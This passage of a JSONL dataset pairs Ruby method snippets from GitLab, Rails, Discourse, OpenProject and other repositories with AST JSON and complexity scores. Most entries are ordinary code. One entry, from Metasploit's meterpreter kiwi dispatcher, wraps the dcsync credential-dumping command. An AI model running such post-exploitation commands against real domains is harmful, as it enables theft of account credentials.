[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"should_run_callbacks\"]},{\"type\":\"lvar\",\"children\":[\"should_run_callbacks\"]}]}]}]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ite\"]},\"shift\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"add_transaction_record\",{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ite\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"committed!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"should_run_callbacks\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@run_commit_callbacks\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@callbacks\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_commit\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@callbacks\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"current_transaction\"]},\"append_callbacks\",{\"type\":\"ivar\",\"children\":[\"@callbacks\"]}]},null]}]}]}]}","id":"87435110-e176-41c6-9f92-c9461f2695c4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/api/4_verify/api_variable_inheritance_with_forward_pipeline_variables_spec.rb","start_line":43,"raw_source":"def upstream_ci_file\n        {\n          action: 'create',\n          file_path: '.gitlab-ci.yml',\n          content: <<~YAML\n            child1_trigger:\n              trigger:\n                include: .child1-ci.yml\n                forward:\n                  pipeline_variables: true\n\n            child2_trigger:\n              trigger:\n                include: .child2-ci.yml\n                forward:\n                  pipeline_variables: false\n\n            # default behavior\n            downstream1_trigger:\n              trigger:\n                project: #{downstream1_project.full_path}\n          YAML\n        }\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"upstream_ci_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"create\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_path\"]},{\"type\":\"str\",\"children\":[\".gitlab-ci.yml\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"child1_trigger:\\n\"]},{\"type\":\"str\",\"children\":[\"  trigger:\\n\"]},{\"type\":\"str\",\"children\":[\"    include: .child1-ci.yml\\n\"]},{\"type\":\"str\",\"children\":[\"    forward:\\n\"]},{\"type\":\"str\",\"children\":[\"      pipeline_variables: true\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"child2_trigger:\\n\"]},{\"type\":\"str\",\"children\":[\"  trigger:\\n\"]},{\"type\":\"str\",\"children\":[\"    include: .child2-ci.yml\\n\"]},{\"type\":\"str\",\"children\":[\"    forward:\\n\"]},{\"type\":\"str\",\"children\":[\"      pipeline_variables: false\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"# default behavior\\n\"]},{\"type\":\"str\",\"children\":[\"downstream1_trigger:\\n\"]},{\"type\":\"str\",\"children\":[\"  trigger:\\n\"]},{\"type\":\"str\",\"children\":[\"    project: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"downstream1_project\"]},\"full_path\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}","id":"c6d69971-dbc0-4077-a0ba-33d320477b61"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb","start_line":176,"raw_source":"def cmd_dcsync(*args)\n    check_is_domain_user\n\n    if args.length != 1\n      print_line('Usage: dcsync <DOMAIN\\user>')\n      print_line\n      return\n    end\n\n    print_line(client.kiwi.dcsync(args[0]))\n  end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_dcsync\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_is_domain_user\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]},\"!=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: dcsync <DOMAIN\\\\user>\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"kiwi\"]},\"dcsync\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}","id":"b3a86778-5012-4fab-80ea-9778cc94031f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/topology_service_client/base_service.rb","start_line":58,"raw_source":"def enabled?\n        Gitlab.config.cell.enabled\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"cell\"]},\"enabled\"]}]}","id":"e0cbf026-aaba-43f3-a6dc-13305eb6d8ab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250227090549_add_token_prefixes_to_application_settings.rb","start_line":22,"raw_source":"def down\n    remove_check_constraint :application_settings, CONSTRAINT_NAME\n    with_lock_retries do\n      remove_column :application_settings, :token_prefixes, if_exists: true\n    end\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_check_constraint\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"const\",\"children\":[null,\"CONSTRAINT_NAME\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"token_prefixes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"696a4a52-c6d4-4359-9ced-9cd7571b5002"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/application_controller.rb","start_line":182,"raw_source":"def auth_user\n    if user_signed_in?\n      current_user\n    else\n      try(:authenticated_user)\n    end\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"auth_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_signed_in?\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"try\",{\"type\":\"sym\",\"children\":[\"authenticated_user\"]}]}]}]}","id":"f97a407d-6712-4e4f-b78c-a862d1ff06b3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/chat_notification.rb","start_line":265,"raw_source":"def get_message(object_kind, data)\n        case object_kind\n        when \"push\", \"tag_push\"\n          Integrations::ChatMessage::PushMessage.new(data) if notify_for_ref?(data)\n        when \"issue\", \"incident\"\n          Integrations::ChatMessage::IssueMessage.new(data) unless update?(data)\n        when \"merge_request\"\n          Integrations::ChatMessage::MergeMessage.new(data) unless update?(data)\n        when \"note\"\n          Integrations::ChatMessage::NoteMessage.new(data)\n        when \"pipeline\"\n          Integrations::ChatMessage::PipelineMessage.new(data) if should_pipeline_be_notified?(data)\n        when \"wiki_page\"\n          Integrations::ChatMessage::WikiPageMessage.new(data)\n        when \"deployment\"\n          Integrations::ChatMessage::DeploymentMessage.new(data) if notify_for_ref?(data)\n        when \"group_mention\"\n          Integrations::ChatMessage::GroupMentionMessage.new(data)\n        end\n      end","complexity_score":31.9,"ast_json":"{\"type\":\"def\",\"children\":[\"get_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object_kind\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object_kind\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"push\"]},{\"type\":\"str\",\"children\":[\"tag_push\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notify_for_ref?\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"ChatMessage\"]},\"PushMessage\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"issue\"]},{\"type\":\"str\",\"children\":[\"incident\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update?\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"ChatMessage\"]},\"IssueMessage\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"merge_request\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update?\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"ChatMessage\"]},\"MergeMessage\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"note\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"ChatMessage\"]},\"NoteMessage\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"pipeline\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_pipeline_be_notified?\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"ChatMessage\"]},\"PipelineMessage\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"wiki_page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"ChatMessage\"]},\"WikiPageMessage\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"deployment\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notify_for_ref?\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"ChatMessage\"]},\"DeploymentMessage\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"group_mention\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"ChatMessage\"]},\"GroupMentionMessage\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},null]}]}","id":"ae4583ad-0370-4942-b04e-d163dead9116"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/github_integration/lib/open_project/github_integration/notification_handler/check_run.rb","start_line":53,"raw_source":"def associated_with_pr?\n        payload.check_run.pull_requests?.present?\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"associated_with_pr?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"check_run\"]},\"pull_requests?\"]},\"present?\"]}]}","id":"0e0caf82-3e54-440e-87b4-c64bb366c503"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/work_items/detail/change_type_action_spec.rb","start_line":98,"raw_source":"def trigger_change_type(type)\n    click_button _('More actions'), match: :first\n    click_button s_('WorkItem|Change type')\n    find_by_testid('work-item-change-type-select').select(type)\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger_change_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"More actions\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"sym\",\"children\":[\"first\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"WorkItem|Change type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_by_testid\",{\"type\":\"str\",\"children\":[\"work-item-change-type-select\"]}]},\"select\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}","id":"95e91c2c-37e3-4422-bdd5-ec8519dc2500"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/date_helper.rb","start_line":478,"raw_source":"def select_date(date = Date.current, options = {}, html_options = {})\n        DateTimeSelector.new(date, options, html_options).select_date\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"select_date\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"current\"]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"html_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTimeSelector\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"date\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"html_options\"]}]},\"select_date\"]}]}","id":"858b6fdf-b769-4764-bbdb-1116cfbd97b1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/context.rb","start_line":37,"raw_source":"def build_default_key_provider\n          ActiveRecord::Encryption::DerivedSecretKeyProvider.new(ActiveRecord::Encryption.config.primary_key)\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_default_key_provider\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Encryption\"]},\"DerivedSecretKeyProvider\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Encryption\"]},\"config\"]},\"primary_key\"]}]}]}","id":"4e3f6a71-1c40-4495-8a6c-36e9e18f51eb"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/models/ai_artifact.rb","start_line":60,"raw_source":"def self.unshare_publicly(id:)\n    artifact = AiArtifact.find_by(id: id)\n    artifact&.update!(metadata: { public: false })\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"unshare_publicly\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"artifact\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiArtifact\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"artifact\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}]}","id":"da661db3-9152-48bc-82e0-02276e8ef25c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/channel_archive_service.rb","start_line":422,"raw_source":"def kick_all_users\n      Chat::ChannelMembershipManager.new(chat_channel).unfollow_all_users\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"kick_all_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"ChannelMembershipManager\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"chat_channel\"]}]},\"unfollow_all_users\"]}]}","id":"d18e46c8-fc95-402d-8f56-a9393684ecc6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/message_notifications_with_sidebar_spec.rb","start_line":16,"raw_source":"def create_message(text: nil, channel: nil, thread: nil, creator: Fabricate(:user))\n    Fabricate(\n      :chat_message_with_service,\n      chat_channel: channel,\n      thread: thread,\n      message: text,\n      user: creator,\n    )\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_message\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"text\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"channel\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"thread\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"creator\",{\"type\":\"send\",\"children\":[null,\"Fabricate\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"Fabricate\",{\"type\":\"sym\",\"children\":[\"chat_message_with_service\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_channel\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thread\"]},{\"type\":\"lvar\",\"children\":[\"thread\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"creator\"]}]}]}]}]}","id":"62ef6498-9956-427a-bc01-233f44287368"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/update_build_state_service.rb","start_line":161,"raw_source":"def live_chunks_pending?\n      build.trace_chunks.live.any?\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"live_chunks_pending?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\"]},\"trace_chunks\"]},\"live\"]},\"any?\"]}]}","id":"4d0199d8-39e6-4409-b4fb-9b523323f196"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/parser.rb","start_line":260,"raw_source":"def process_indent(line)\n      return unless line.tabs <= @template_tabs && @template_tabs > 0\n\n      to_close = @template_tabs - line.tabs\n      to_close.times {|i| close unless to_close - 1 - i == 0 && continuation_script?(line.text)}\n    end","complexity_score":21.35,"ast_json":"{\"type\":\"def\",\"children\":[\"process_indent\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"tabs\"]},\"<=\",{\"type\":\"ivar\",\"children\":[\"@template_tabs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template_tabs\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"to_close\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template_tabs\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"tabs\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_close\"]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_close\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]},\"-\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"continuation_script?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"text\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"close\"]}]}]}]}]}","id":"4abd25ea-eeff-4e89-a552-cfb91c7c0bdc"}
{"repo_name":"hooks","file_path":"./repos/hooks/lib/hooks/core/plugin_loader.rb","start_line":154,"raw_source":"def load_custom_lifecycle_plugins(lifecycle_plugin_dir)\n          return unless lifecycle_plugin_dir && Dir.exist?(lifecycle_plugin_dir)\n\n          Dir.glob(File.join(lifecycle_plugin_dir, \"*.rb\")).sort.each do |file_path|\n            begin\n              load_custom_lifecycle_plugin(file_path, lifecycle_plugin_dir)\n            rescue StandardError, SyntaxError => e\n              raise StandardError, \"Failed to load lifecycle plugin from #{file_path}: #{e.message}\"\n            end\n          end\n        end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"load_custom_lifecycle_plugins\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lifecycle_plugin_dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lifecycle_plugin_dir\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"lifecycle_plugin_dir\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"lifecycle_plugin_dir\"]},{\"type\":\"str\",\"children\":[\"*.rb\"]}]}]},\"sort\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_custom_lifecycle_plugin\",{\"type\":\"lvar\",\"children\":[\"file_path\"]},{\"type\":\"lvar\",\"children\":[\"lifecycle_plugin_dir\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"const\",\"children\":[null,\"SyntaxError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to load lifecycle plugin from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}]}]}]}","id":"8574b409-76f6-4c97-99c9-5cde871a8cbd"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/normalized_has_many_test.rb","start_line":157,"raw_source":"def test_creating_a_child_record_should_expire_the_parents_cache_blob\n    IdentityCache.cache.expects(:delete).with(@record.primary_cache_index_key).once\n    IdentityCache.cache.expects(:delete).with(@bar.primary_cache_index_key[0...-1] + \"3\")\n    @qux = @record.associated_records.create!(name: \"qux\")\n    assert_equal([@qux, @baz, @bar], Item.fetch(@record.id).fetch_associated_records)\n  end","complexity_score":22.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_creating_a_child_record_should_expire_the_parents_cache_blob\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"cache\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"delete\"]}]},\"with\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"primary_cache_index_key\"]}]},\"once\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"cache\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"delete\"]}]},\"with\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bar\"]},\"primary_cache_index_key\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-1]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"3\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@qux\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"associated_records\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"qux\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@qux\"]},{\"type\":\"ivar\",\"children\":[\"@baz\"]},{\"type\":\"ivar\",\"children\":[\"@bar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"id\"]}]},\"fetch_associated_records\"]}]}]}]}","id":"9977d014-c546-4464-ba51-e64c3ece1ef3"}
